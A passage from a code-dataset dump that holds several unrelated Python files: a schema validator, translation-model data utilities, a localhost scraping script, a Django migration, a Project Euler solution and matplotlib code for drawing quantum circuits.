None]}\n\nchildren_schema = {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\"type\": \"string\"},\n \"ref\": {\"type\": \"string\", \"regex\": ref_pattern},\n },\n \"required\": [\"name\", \"ref\"],\n \"additionalProperties\": False,\n },\n}\n\nobject_schema = {\n \"type\": \"object\",\n \"properties\": {\n # file where object is declared, if known\n # (note: this concept is sort of broken,\n # this should be moved to the symbol)\n \"file\": {\"type\": \"string\"},\n # line number where object was declared, if known\n \"lineno\": {\"type\": \"integer\"},\n # true if object lives outside of any tested roots\n \"is_external\": optional_boolean,\n # true if object is callable\n \"is_callable\": optional_boolean,\n # signature of callable - all parameters, in defined order\n \"signature\": {\n \"type\": \"array\",\n \"items\": {\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\"type\": \"string\"},\n \"kind\": param_kind_schema,\n \"has_default\": {\"type\": \"boolean\"},\n },\n \"required\": [\"name\", \"kind\", \"has_default\"],\n \"additionalProperties\": False,\n },\n },\n # For display purposes only\n \"object_type\": {\"enum\": [\"function\", \"method\", \"class\", \"module\", \"object\"]},\n # children of this object (e.g. classes within a module,\n # functions within a class, properties within an object)\n \"children\": children_schema,\n },\n \"required\": [\"is_external\", \"is_callable\", \"object_type\"],\n \"additionalProperties\": False,\n}\n\nobject_db_schema = {\n \"type\": \"object\",\n \"patternProperties\": {ref_pattern: object_schema},\n \"additionalProperties\": False,\n}\n\nroot_schema = {\n \"type\": \"object\",\n \"properties\": {\n # name of root\n \"name\": {\"type\": \"string\"},\n # version of object, if available (e.g. from __version__ or\n # from egg metadata)\n \"version\": {\"type\": \"string\"},\n # reference to the module object\n \"ref\": {\"type\": \"string\", \"regex\": ref_pattern},\n },\n \"required\": [\"name\", \"ref\"],\n \"additionalProperties\": False,\n}\n\ndump_schema = {\n \"type\": \"object\",\n \"properties\": {\"root\": root_schema, \"objects\": object_db_schema},\n \"required\": [\"root\", \"objects\"],\n \"additionalProperties\": False,\n}\n\n\nclass BadRefException(ValueError):\n pass\n\n\ndef validate(instance) -> None:\n # jsonschema validation\n jsonschema.validate(instance, dump_schema)\n\n # now ensure all object refs are OK\n object_db = instance[\"objects\"]\n root_ref = instance[\"root\"][\"ref\"]\n if root_ref not in object_db:\n raise BadRefException(\"Missing object for root ref %s\" % root_ref)\n\n for ob_data in object_db.values():\n refs = [child[\"ref\"] for child in ob_data.get(\"children\", [])]\n for ref in refs:\n if ref not in object_db:\n raise BadRefException(\"Missing object for ref %s\" % ref)\n","repo_name":"rohanpm/pidiff","sub_path":"pidiff/_impl/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"72386797871","text":"'''\nUtility functions\n'''\n\nimport pickle as pkl\nimport exception\nimport json\nimport logging\nimport numpy\nimport sys\n\n# Source:\n# https://stackoverflow.com/questions/38559755/how-to-get-current-available-gpus-in-tensorflow\ndef get_available_gpus():\n \"\"\"\n Returns a list of the identifiers of all visible GPUs.\n \"\"\"\n from tensorflow.python.client import device_lib\n local_device_protos = device_lib.list_local_devices()\n return [x.name for x in local_device_protos if x.device_type == 'GPU']\n\n\n# batch preparation\ndef prepare_data(seqs_x, seqs_x_p, seqs_y, n_factors, maxlen=None):\n # x: a list of sentences\n # seqs_x: (batch_size, num_token, n_factor), uneven\n # seqs_x_p: (batch_size, num_token)\n lengths_x = [len(s) for s in seqs_x]\n lengths_x_p = [len(s) for s in seqs_x_p]\n lengths_y = [len(s) for s in seqs_y]\n\n if maxlen is not None:\n new_seqs_x = []\n new_seqs_x_p = []\n new_seqs_y = []\n new_lengths_x = []\n new_lengths_x_p = []\n new_lengths_y = []\n for l_x, s_x, l_x_p, s_x_p, l_y, s_y in zip(lengths_x, seqs_x, lengths_x_p, seqs_x_p, lengths_y, seqs_y):\n if l_x < maxlen and l_x_p < maxlen and l_y < maxlen:\n new_seqs_x.append(s_x)\n new_lengths_x.append(l_x)\n new_seqs_x_p.append(s_x_p)\n new_lengths_x_p.append(l_x_p)\n new_seqs_y.append(s_y)\n new_lengths_y.append(l_y)\n lengths_x = new_lengths_x\n seqs_x = new_seqs_x\n lengths_x_p = new_lengths_x_p\n seqs_x_p = new_seqs_x_p\n lengths_y = new_lengths_y\n seqs_y = new_seqs_y\n\n if len(lengths_x) < 1 or len(lengths_y) < 1 or len(lengths_x_p) < 1:\n return None, None, None, None\n\n n_samples = len(seqs_x)\n maxlen_x = numpy.max(lengths_x) + 1\n maxlen_x_p = numpy.max(lengths_x_p) + 1\n maxlen_y = numpy.max(lengths_y) + 1\n\n x = numpy.zeros((n_factors, maxlen_x, n_samples)).astype('int64')\n x_p = numpy.zeros((maxlen_x_p, n_samples)).astype('int64')\n y = numpy.zeros((maxlen_y, n_samples)).astype('int64')\n x_mask = numpy.zeros((maxlen_x, n_samples)).astype('float32')\n x_p_mask = numpy.zeros((maxlen_x_p, n_samples)).astype('float32')\n y_mask = numpy.zeros((maxlen_y, n_samples)).astype('float32')\n for idx, [s_x, s_x_p, s_y] in enumerate(zip(seqs_x, seqs_x_p, seqs_y)):\n x[:, :lengths_x[idx], idx] = list(zip(*s_x))\n x_mask[:lengths_x[idx]+1, idx] = 1.\n x_p[:lengths_x_p[idx], idx] = s_x_p\n x_p_mask[:lengths_x_p[idx] + 1, idx] = 1.\n y[:lengths_y[idx], idx] = s_y\n y_mask[:lengths_y[idx]+1, idx] = 1.\n\n return x, x_mask, x_p, x_p_mask, y, y_mask\n\n\ndef prepare_data_unique(seqs_x, seqs_x_p, config, target_to_num, num_to_source, num_to_target, beam_size,\n conservative_penalty, add_eos, maxlen=None):\n # x: a list of sentences\n # seqs_x: (batch_size, num_token, n_factor), uneven\n # seqs_x_p: (batch_size, num_token)\n n_factors = config.factors\n lengths_x = [len(s) for s in seqs_x]\n lengths_x_p = [len(s) for s in seqs_x_p]\n\n if maxlen is not None:\n new_seqs_x = []\n new_seqs_x_p = []\n new_lengths_x = []\n new_lengths_x_p = []\n # uniques = []\n for l_x, s_x, l_x_p, s_x_p in zip(lengths_x, seqs_x, lengths_x_p, seqs_x_p):\n if l_x < maxlen and l_x_p < maxlen:\n new_seqs_x.append(s_x)\n new_lengths_x.append(l_x)\n new_seqs_x_p.append(s_x_p)\n new_lengths_x_p.append(l_x_p)\n\n lengths_x = new_lengths_x\n seqs_x = new_seqs_x\n lengths_x_p = new_lengths_x_p\n seqs_x_p = new_seqs_x_p\n\n uniques = []\n for s_x, s_x_p in zip(seqs_x, seqs_x_p):\n # only allow n_factor = 1\n s_x = numpy.array(s_x, dtype='int64')\n source = factoredseq2words(s_x, num_to_source).split()\n translation = seq2words(s_x_p, num_to_target).split()\n\n tmp = source + translation\n if add_eos:\n uniques.append(list(set([target_to_num[w] for w in tmp if w in target_to_num]+[target_to_num['']])))\n else:\n uniques.append(list(set([target_to_num[w] for w in tmp if w in target_to_num])))\n\n if len(lengths_x) < 1 or len(lengths_x_p) < 1:\n return None, None, None, None, None\n # complete penalty_matrix based on uniques\n penalty_matrix = numpy.full((len(uniques), config.target_vocab_size), conservative_penalty)\n for s_id, s in enumerate(uniques):\n for w_num in s:\n penalty_matrix[s_id, w_num] = 0\n penalty_matrix = numpy.tile(penalty_matrix, (beam_size, 1))\n\n n_samples = len(seqs_x)\n maxlen_x = numpy.max(lengths_x) + 1\n maxlen_x_p = numpy.max(lengths_x_p) + 1\n\n x = numpy.zeros((n_factors, maxlen_x, n_samples)).astype('int64')\n x_p = numpy.zeros((maxlen_x_p, n_samples)).astype('int64')\n x_mask = numpy.zeros((maxlen_x, n_samples)).astype('float32')\n x_p_mask = numpy.zeros((maxlen_x_p, n_samples)).astype('float32')\n for idx, [s_x, s_x_p] in enumerate(zip(seqs_x, seqs_x_p)):\n x[:, :lengths_x[idx], idx] = list(zip(*s_x))\n x_mask[:lengths_x[idx]+1, idx] = 1.\n x_p[:lengths_x_p[idx], idx] = s_x_p\n x_p_mask[:lengths_x_p[idx] + 1, idx] = 1.\n\n# uniques:(batch_size, num_tokens), list, uneven\n return x, x_mask, x_p, x_p_mask, penalty_matrix\n\n\ndef prepare_data_weight(seqs_x, seqs_x_p, seqs_y, num_to_target, ScorerProvider, n_factors, maxlen=None):\n # x: a list of sentences\n # seqs_x: (batch_size, num_token, n_factor), uneven\n # seqs_x_p: (batch_size, num_token)\n lengths_x = [len(s) for s in seqs_x]\n lengths_x_p = [len(s) for s in seqs_x_p]\n lengths_y = [len(s) for s in seqs_y]\n\n if maxlen is not None:\n new_seqs_x = []\n new_seqs_x_p = []\n new_seqs_y = []\n new_lengths_x = []\n new_lengths_x_p = []\n new_lengths_y = []\n for l_x, s_x, l_x_p, s_x_p, l_y, s_y in zip(lengths_x, seqs_x, lengths_x_p, seqs_x_p, lengths_y, seqs_y):\n if l_x < maxlen and l_x_p < maxlen and l_y < maxlen:\n new_seqs_x.append(s_x)\n new_lengths_x.append(l_x)\n new_seqs_x_p.append(s_x_p)\n new_lengths_x_p.append(l_x_p)\n new_seqs_y.append(s_y)\n new_lengths_y.append(l_y)\n lengths_x = new_lengths_x\n seqs_x = new_seqs_x\n lengths_x_p = new_lengths_x_p\n seqs_x_p = new_seqs_x_p\n lengths_y = new_lengths_y\n seqs_y = new_seqs_y\n\n if len(lengths_x) < 1 or len(lengths_y) < 1 or len(lengths_x_p) < 1:\n return None, None, None, None, None, None, None\n\n n_samples = len(seqs_x)\n\n penalty_weight = []\n for i in range(n_samples):\n ref = seq2words(seqs_y[i], num_to_target).split(\" \")\n mt = seq2words(seqs_x_p[i], num_to_target).split(\" \")\n\n # get evaluation metrics (smoothed BLEU) for samplings\n scorer = ScorerProvider().get('SENTENCEBLEU n=4')\n scorer.set_reference(ref)\n penalty_weight.append(scorer.score(mt))\n\n penalty_weight = numpy.array([penalty_weight]).astype('float32')\n\n\n maxlen_x = numpy.max(lengths_x) + 1\n maxlen_x_p = numpy.max(lengths_x_p) + 1\n maxlen_y = numpy.max(lengths_y) + 1\n\n x = numpy.zeros((n_factors, maxlen_x, n_samples)).astype('int64')\n x_p = numpy.zeros((maxlen_x_p, n_samples)).astype('int64')\n y = numpy.zeros((maxlen_y, n_samples)).astype('int64')\n x_mask = numpy.zeros((maxlen_x, n_samples)).astype('float32')\n x_p_mask = numpy.zeros((maxlen_x_p, n_samples)).astype('float32')\n y_mask = numpy.zeros((maxlen_y, n_samples)).astype('float32')\n for idx, [s_x, s_x_p, s_y] in enumerate(zip(seqs_x, seqs_x_p, seqs_y)):\n x[:, :lengths_x[idx], idx] = list(zip(*s_x))\n x_mask[:lengths_x[idx]+1, idx] = 1.\n x_p[:lengths_x_p[idx], idx] = s_x_p\n x_p_mask[:lengths_x_p[idx] + 1, idx] = 1.\n y[:lengths_y[idx], idx] = s_y\n y_mask[:lengths_y[idx]+1, idx] = 1.\n\n return x, x_mask, x_p, x_p_mask, y, y_mask, penalty_weight\n\n\ndef load_dict(filename, model_type):\n try:\n # build_dictionary.py writes JSON files as UTF-8 so assume that here.\n with open(filename, 'r', encoding='utf-8') as f:\n d = json.load(f)\n except:\n # FIXME Should we be assuming UTF-8?\n with open(filename, 'r', encoding='utf-8') as f:\n d = pkl.load(f)\n\n # The transformer model requires vocab dictionaries to use the new style\n # special symbols. If the dictionary looks like an old one then tell the\n # user to update it.\n if model_type == 'transformer' and (\"\" not in d or d[\"\"] != 1):\n logging.error('you must update \\'{}\\' for use with the '\n '\\'transformer\\' model type. Please re-run '\n 'build_dictionary.py to generate a new vocabulary '\n 'dictionary.'.format(filename))\n sys.exit(1)\n\n return d\n\n\ndef seq2words(seq, inverse_dictionary, join=True):\n seq = numpy.array(seq, dtype='int64')\n assert len(seq.shape) == 1\n return factoredseq2words(seq.reshape([seq.shape[0], 1]),\n [inverse_dictionary],\n join)\n\ndef factoredseq2words(seq, inverse_dictionaries, join=True):\n assert len(seq.shape) == 2\n assert len(inverse_dictionaries) == seq.shape[1]\n words = []\n eos_reached = False\n for i, w in enumerate(seq):\n if eos_reached:\n break\n factors = []\n for j, f in enumerate(w):\n if f == 0:\n eos_reached = True\n break\n # This assert has been commented out because it's possible for\n # non-zero values to follow zero values for Transformer models.\n # TODO Check why this happens\n #assert (i == len(seq) - 1) or (seq[i+1][j] == 0), \\\n # ('Zero not at the end of sequence', seq)\n elif f in inverse_dictionaries[j]:\n factors.append(inverse_dictionaries[j][f])\n else:\n factors.append('UNK')\n word = '|'.join(factors)\n words.append(word)\n return ' '.join(words) if join else words\n\ndef reverse_dict(dictt):\n keys, values = list(zip(*list(dictt.items())))\n r_dictt = dict(list(zip(values, keys)))\n return r_dictt\n\n\ndef load_dictionaries(config):\n model_type = config.model_type\n source_to_num = [load_dict(d, model_type) for d in config.source_dicts]\n target_to_num = load_dict(config.target_dict, model_type)\n num_to_source = [reverse_dict(d) for d in source_to_num]\n num_to_target = reverse_dict(target_to_num)\n return source_to_num, target_to_num, num_to_source, num_to_target\n\n\ndef read_all_lines(config, sentences, batch_size):\n source_to_num, target_to_num, _, _ = load_dictionaries(config)\n\n if config.source_vocab_sizes != None:\n assert len(config.source_vocab_sizes) == len(source_to_num)\n for d, vocab_size in zip(source_to_num, config.source_vocab_sizes):\n if vocab_size != None and vocab_size > 0:\n for key, idx in list(d.items()):\n if idx >= vocab_size:\n del d[key]\n if config.target_vocab_size != None:\n d, vocab_size = target_to_num, config.target_vocab_size\n if vocab_size != None and vocab_size > 0:\n for key, idx in list(d.items()):\n if idx >= vocab_size:\n del d[key]\n\n lines_s = []\n lines_m = []\n for sent_s, sent_m in sentences:\n line_s = []\n for w in sent_s.strip().split():\n if config.factors == 1:\n w = [source_to_num[0][w] if w in source_to_num[0] else 2]\n else:\n w = [source_to_num[i][f] if f in source_to_num[i] else 2\n for (i,f) in enumerate(w.split('|'))]\n if len(w) != config.factors:\n raise exception.Error(\n 'Expected {0} factors, but input word has {1}\\n'.format(\n config.factors, len(w)))\n line_s.append(w)\n line_m = []\n if config.data_mode == 'multiple':\n sent_m = sent_m.split(\" _eos_eos \")[0]\n for w in sent_m.strip().split():\n w = target_to_num[w] if w in target_to_num else 2\n line_m.append(w)\n lines_s.append(line_s)\n lines_m.append(line_m)\n\n lines_s = numpy.array(lines_s)\n lines_m = numpy.array(lines_m)\n lengths_s = numpy.array([len(l) for l in lines_s])\n lengths_m = numpy.array([len(l) for l in lines_m])\n lengths = numpy.add(lengths_s, lengths_m)\n\n idxs = lengths.argsort()\n\n lines_s = lines_s[idxs]\n lines_m = lines_m[idxs]\n\n #merge into batches\n assert len(lines_s) == len(lines_m)\n batches = []\n for i in range(0, len(lines_s), batch_size):\n batch_s = lines_s[i:i+batch_size]\n batch_m = lines_m[i:i + batch_size]\n batches.append((batch_s, batch_m))\n\n# batch_s(batch_size, num_tokens, n_factor), uneven\n# batch_m(batch_size, num_tokens), uneven\n return batches, idxs\n","repo_name":"chaojun-wang/Context-Aware-Bilingual-Repair-for-Neural-Machine-Translation","sub_path":"nematus/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":13294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"11102561637","text":"from bs4 import BeautifulSoup as soup\nfrom urllib.request import urlopen as uReq\n\n# html = open(\"http://127.0.0.1:5000/pre_quiz\").read()\n#soup = BeautifulSoup(html)\n# print(soup) # My home address\n\n\n\nmy_url = \"http://127.0.0.1:5000/pre_quiz\"\n\nuClient = uReq(my_url)\npage_html = uClient.read()\nuClient.close()\n\npage_soup = soup(page_html, \"html.parser\")\ncontainers = page_soup.findAll(\"option\")\nfor i in containers:\n print(i.text)","repo_name":"SalarHoushvand/SENG6245","sub_path":"lab.py","file_name":"lab.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27808696278","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('teacher', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Work_count',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),\n ('usernum', models.CharField(max_length=50, verbose_name='用户学号')),\n ('count_jidians', models.IntegerField(default=0, verbose_name='个人业绩点')),\n ],\n options={\n 'db_table': 'work_count',\n 'verbose_name': '业绩点统计',\n 'verbose_name_plural': '业绩点统计',\n },\n ),\n migrations.CreateModel(\n name='Work_rate_jidian',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, verbose_name='ID', auto_created=True)),\n ('pro_name', models.CharField(max_length=50, verbose_name='职称名')),\n ('scien_jiidans', models.IntegerField(default=0, verbose_name='教学业绩点')),\n ('teach_jiidans', models.IntegerField(default=0, verbose_name='科研业绩点')),\n ],\n options={\n 'db_table': 'work_rate_jidian',\n 'verbose_name': '职称业绩点',\n 'verbose_name_plural': '职称业绩点',\n },\n ),\n migrations.AddField(\n model_name='work_count',\n name='rate_jidians',\n field=models.ForeignKey(verbose_name='额定业绩点', to='teacher.Work_rate_jidian'),\n ),\n ]\n","repo_name":"hua1054921935/TeacherManager","sub_path":"apps/teacher/migrations/0002_auto_20180505_1628.py","file_name":"0002_auto_20180505_1628.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74220623791","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 6 19:57:06 2017\r\n\r\n@author: Tsui\r\n\"\"\"\r\n\r\nimport time\r\ns=time.time()\r\ncount=0\r\nfor Year in range(1901,2001):\r\n if Year % 4 == 0:\r\n yearday=366\r\n else:\r\n yearday=365\r\n for day in range(1,yearday+1):\r\n date=time.strptime('{0} {1}'.format(Year,day),'%Y %j')\r\n if date[2]==1 and date[6]==6:\r\n count+=1\r\nprint(count)\r\nprint('Runing time: {0}s'.format(round(time.time()-s,3)))","repo_name":"cq-xuke/My_Python_Project","sub_path":"Euler_Project/p19.py","file_name":"p19.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"29548749837","text":"get_ipython().magic('matplotlib inline')\nimport matplotlib\nimport numpy as np\n\ndef plot_quantum_circuit(gates,inits={},labels=[],plot_labels=True,**kwargs):\n \"\"\"Use Matplotlib to plot a quantum circuit.\n gates List of tuples for each gate in the quantum circuit.\n (name,target,control1,control2...). Targets and controls initially\n defined in terms of labels. \n inits Initialization list of gates, optional\n \n kwargs Can override plot_parameters\n \"\"\"\n plot_params = dict(scale = 1.0,fontsize = 14.0, linewidth = 1.0, \n control_radius = 0.05, not_radius = 0.15, \n swap_delta = 0.08, label_buffer = 0.0)\n plot_params.update(kwargs)\n scale = plot_params['scale']\n \n # Create labels from gates. This will become slow if there are a lot \n # of gates, in which case move to an ordered dictionary\n if not labels:\n labels = []\n for i,gate in enumerate_gates(gates):\n for label in gate[1:]:\n if label not in labels:\n labels.append(label)\n \n nq = len(labels)\n ng = len(gates)\n wire_grid = np.arange(0.0, nq*scale, scale, dtype=float)\n gate_grid = np.arange(0.0, ng*scale, scale, dtype=float)\n \n fig,ax = setup_figure(nq,ng,gate_grid,wire_grid,plot_params)\n\n measured = measured_wires(gates,labels)\n draw_wires(ax,nq,gate_grid,wire_grid,plot_params,measured)\n \n if plot_labels: \n draw_labels(ax,labels,inits,gate_grid,wire_grid,plot_params)\n\n draw_gates(ax,gates,labels,gate_grid,wire_grid,plot_params,measured)\n return ax\n\ndef enumerate_gates(l,schedule=False):\n \"Enumerate the gates in a way that can take l as either a list of gates or a schedule\"\n if schedule:\n for i,gates in enumerate(l):\n for gate in gates:\n yield i,gate\n else:\n for i,gate in enumerate(l):\n yield i,gate\n return\n\ndef measured_wires(l,labels,schedule=False):\n \"measured[i] = j means wire i is measured at step j\"\n measured = {}\n for i,gate in enumerate_gates(l,schedule=schedule):\n name,target = gate[:2]\n j = get_flipped_index(target,labels)\n if name.startswith('M'):\n measured[j] = i\n return measured\n\ndef draw_gates(ax,l,labels,gate_grid,wire_grid,plot_params,measured={},schedule=False):\n for i,gate in enumerate_gates(l,schedule=schedule):\n draw_target(ax,i,gate,labels,gate_grid,wire_grid,plot_params)\n if len(gate) > 2: # Controlled\n draw_controls(ax,i,gate,labels,gate_grid,wire_grid,plot_params,measured)\n return\n\ndef draw_controls(ax,i,gate,labels,gate_grid,wire_grid,plot_params,measured={}):\n linewidth = plot_params['linewidth']\n scale = plot_params['scale']\n control_radius = plot_params['control_radius']\n \n name,target = gate[:2]\n target_index = get_flipped_index(target,labels)\n controls = gate[2:]\n control_indices = get_flipped_indices(controls,labels)\n gate_indices = control_indices + [target_index]\n min_wire = min(gate_indices)\n max_wire = max(gate_indices)\n line(ax,gate_grid[i],gate_grid[i],wire_grid[min_wire],wire_grid[max_wire],plot_params)\n ismeasured = False\n for index in control_indices:\n if measured.get(index,1000) < i: \n ismeasured = True\n if ismeasured:\n dy = 0.04 # TODO: put in plot_params\n line(ax,gate_grid[i]+dy,gate_grid[i]+dy,wire_grid[min_wire],wire_grid[max_wire],plot_params)\n \n for ci in control_indices:\n x = gate_grid[i]\n y = wire_grid[ci]\n if name in ['SWAP']:\n swapx(ax,x,y,plot_params)\n else:\n cdot(ax,x,y,plot_params)\n return\n\ndef draw_target(ax,i,gate,labels,gate_grid,wire_grid,plot_params):\n target_symbols = dict(CNOT='X',CPHASE='Z',NOP='',CX='X',CZ='Z')\n name,target = gate[:2]\n symbol = target_symbols.get(name,name) # override name with target_symbols\n x = gate_grid[i]\n target_index = get_flipped_index(target,labels)\n y = wire_grid[target_index]\n if not symbol: return\n if name in ['CNOT','TOFFOLI']:\n oplus(ax,x,y,plot_params)\n elif name in ['CPHASE']:\n cdot(ax,x,y,plot_params)\n elif name in ['SWAP']:\n swapx(ax,x,y,plot_params)\n else:\n text(ax,x,y,symbol,plot_params,box=True)\n return\n\ndef line(ax,x1,x2,y1,y2,plot_params):\n Line2D = matplotlib.lines.Line2D\n line = Line2D((x1,x2), (y1,y2),\n color='k',lw=plot_params['linewidth'])\n ax.add_line(line)\n\ndef text(ax,x,y,textstr,plot_params,box=False):\n linewidth = plot_params['linewidth']\n fontsize = plot_params['fontsize']\n if box:\n bbox = dict(ec='k',fc='w',fill=True,lw=linewidth)\n else:\n bbox=False\n ax.text(x,y,textstr,color='k',ha='center',va='center',bbox=bbox,size=fontsize)\n return\n\ndef oplus(ax,x,y,plot_params):\n Line2D = matplotlib.lines.Line2D\n Circle = matplotlib.patches.Circle\n not_radius = plot_params['not_radius']\n linewidth = plot_params['linewidth']\n c = Circle((x, y),not_radius,ec='k',\n fc='w',fill=False,lw=linewidth)\n ax.add_patch(c)\n line(ax,x,x,y-not_radius,y+not_radius,plot_params)\n return\n\ndef cdot(ax,x,y,plot_params):\n Circle = matplotlib.patches.Circle\n control_radius = plot_params['control_radius']\n scale = plot_params['scale']\n linewidth = plot_params['linewidth']\n c = Circle((x, y),control_radius*scale,\n ec='k',fc='k',fill=True,lw=linewidth)\n ax.add_patch(c)\n return\n\ndef swapx(ax,x,y,plot_params):\n d = plot_params['swap_delta']\n linewidth = plot_params['linewidth']\n line(ax,x-d,x+d,y-d,y+d,plot_params)\n line(ax,x-d,x+d,y+d,y-d,plot_params)\n return\n\ndef setup_figure(nq,ng,gate_grid,wire_grid,plot_params):\n scale = plot_params['scale']\n fig = matplotlib.pyplot.figure(\n figsize=(ng*scale, nq*scale),\n facecolor='w',\n edgecolor='w'\n )\n ax = fig.add_subplot(1, 1, 1,frameon=True)\n ax.set_axis_off()\n offset = 0.5*scale\n ax.set_xlim(gate_grid[0] - offset, gate_grid[-1] + offset)\n ax.set_ylim(wire_grid[0] - offset, wire_grid[-1] + offset)\n ax.set_aspect('equal')\n return fig,ax\n\ndef draw_wires(ax,nq,gate_grid,wire_grid,plot_params,measured={}):\n scale = plot_params['scale']\n linewidth = plot_params['linewidth']\n xdata = (gate_grid[0] - scale, gate_grid[-1] + scale)\n for i in range(nq):\n line(ax,gate_grid[0]-scale,gate_grid[-1]+scale,wire_grid[i],wire_grid[i],plot_params)\n \n # Add the doubling for measured wires:\n dy=0.04 # TODO: add to plot_params\n for i in measured:\n j = measured[i]\n line(ax,gate_grid[j],gate_grid[-1]+scale,wire_grid[i]+dy,wire_grid[i]+dy,plot_params)\n return\n\ndef draw_labels(ax,labels,inits,gate_grid,wire_grid,plot_params):\n scale = plot_params['scale']\n label_buffer = plot_params['label_buffer']\n fontsize = plot_params['fontsize']\n nq = len(labels)\n xdata = (gate_grid[0] - scale, gate_grid[-1] + scale)\n for i in range(nq):\n j = get_flipped_index(labels[i],labels)\n text(ax,xdata[0]-label_buffer,wire_grid[j],render_label(labels[i],inits),plot_params)\n return\n\ndef get_flipped_index(target,labels):\n \"\"\"Get qubit labels from the rest of the line,and return indices\n\n >>> get_flipped_index('q0', ['q0', 'q1'])\n 1\n >>> get_flipped_index('q1', ['q0', 'q1'])\n 0\n \"\"\"\n nq = len(labels)\n i = labels.index(target)\n return nq-i-1\n\ndef get_flipped_indices(targets,labels): return [get_flipped_index(t,labels) for t in targets]\n\ndef render_label(label, inits={}):\n \"\"\"Slightly more flexible way to render labels.\n\n >>> render_label('q0')\n '$|q0\\\\\\\\rangle$'\n >>> render_label('q0', {'q0':'0'})\n '$|0\\\\\\\\rangle$'\n \"\"\"\n if label in inits:\n s = inits[label]\n if s is None:\n return ''\n else:\n return r'$|%s\\rangle$' % inits[label]\n return r'$|%s\\rangle$' % label\n\n# Define symbols to simplify writing\nH,X,Y,Z,S,T,M = 'HXYZSTM'\nCNOT,CPHASE,CZ,CX,TOFFOLI,SWAP,NOP = 'CNOT','CPHASE','CZ','CX','TOFFOLI','SWAP','NOP'\nqa,qb,qc,qd,q0,q1,q2,q3 = 'q_a','q_b','q_c','q_d','q_0','q_1','q_2','q_3'\n\nplot_quantum_circuit([(H,qa)])\n\nplot_quantum_circuit([(H,q0),(CPHASE,q1,q0),(SWAP,q1,q0)],labels=[q0,q1],scale=1.5)\n\nplot_quantum_circuit([(H,q0),(CNOT,q1,q0)])\n\nplot_quantum_circuit([(H,q0),(CNOT,q1,q0)],plot_labels=False)\n\nplot_quantum_circuit([(H,q0),(CNOT,q1,q0)],{q0:0,q1:None})\n\nplot_quantum_circuit([(H,q1),(CNOT,q2,q1),(CNOT,q1,q0),(H,q0),\n (M,q0),(M,q1),(CX,q2,q1),(CZ,q2,q0)],\n labels=[q0,q1,q2])\n\nplot_quantum_circuit([(CNOT,q1,q0),(CNOT,q0,q1),(CNOT,q1,q0)],labels=[q0,q1])\n\nplot_quantum_circuit([(H,'j_0'),(S,'j_0','j_1'),(T,'j_0','j_2'),(H,'j_1'),\n (S,'j_1','j_2'),(H,'j_2'),(SWAP,'j_0','j_2')])\n\nplot_quantum_circuit([(TOFFOLI,'j_2','j_0','j_1'),(X,'j_0'),('U','j_1','j_0','j_2','j_3'),\n (H,'j_2'),(M,'j_3')],\n labels=['j_0','j_1','j_2','j_3'])\n\nplot_quantum_circuit([(H,'q0'),('U','q1','q0'),(H,'q0'),(M,'q0'),('V','q1','q0')])\n\nplot_quantum_circuit([(H,'b'),(CNOT,'b','a'),(CNOT,'c','b'),(CNOT,'b','a'),\n (CNOT,'c','b'),(H,'a'),(Z,'a','c'),(H,'a'),(H,'a')],\n labels='abc',inits=dict(a='\\psi',b='0',c='0'))\n\nrt = r'$\\sqrt{X}$'\nrtd = r'$\\sqrt{X^\\dagger}$'\nplot_quantum_circuit([(rt,q2,q1),(CNOT,q1,q0),(rtd,q2,q1),(CNOT,q1,q0),(rt,q2,q0)],\n labels=[q0,q1,q2]\n)\n\nj0,j1,j2,s1,s2 = 'j_0','j_1','j_2','s_1','s_2'\nplot_quantum_circuit([(H,j0),(H,j1),(H,j2),(r'$U^4$',s1,j0),(r'$U^4$',s2,j0),\n (r'$U^2$',s1,j1),(r'$U^2$',s2,j1),(r'$U$',s1,j2),(r'$U$',s2,j2),\n (H,j0),(S,j1,j0),(H,j1),(T,j2,j0),(S,j2,j1),(H,j2),\n (M,j0),(M,j1),(M,j2)],\n labels=(j0,j1,j2,s1,s2),inits={j0:0,j1:0,j2:0})\n\ndef plot_quantum_schedule(schedule,inits={},labels=[],plot_labels=True,**kwargs):\n \"\"\"Use Matplotlib to plot a quantum circuit.\n schedule List of time steps, each containing a sequence of gates during that step.\n Each gate is a tuple containing (name,target,control1,control2...). \n Targets and controls initially defined in terms of labels. \n inits Initialization list of gates, optional\n \n kwargs Can override plot_parameters\n \"\"\"\n plot_params = dict(scale = 1.0,fontsize = 14.0, linewidth = 1.0, \n control_radius = 0.05, not_radius = 0.15, \n swap_delta = 0.08, label_buffer = 0.0)\n plot_params.update(kwargs)\n scale = plot_params['scale']\n \n # Create labels from gates. This will become slow if there are a lot \n # of gates, in which case move to an ordered dictionary\n if not labels:\n labels = []\n for i,gate in enumerate_gates(schedule,schedule=True):\n for label in gate[1:]:\n if label not in labels:\n labels.append(label)\n \n nq = len(labels)\n nt = len(schedule)\n wire_grid = np.arange(0.0, nq*scale, scale, dtype=float)\n gate_grid = np.arange(0.0, nt*scale, scale, dtype=float)\n \n fig,ax = setup_figure(nq,nt,gate_grid,wire_grid,plot_params)\n\n measured = measured_wires(schedule,labels,schedule=True)\n draw_wires(ax,nq,gate_grid,wire_grid,plot_params,measured)\n \n if plot_labels: \n draw_labels(ax,labels,inits,gate_grid,wire_grid,plot_params)\n\n 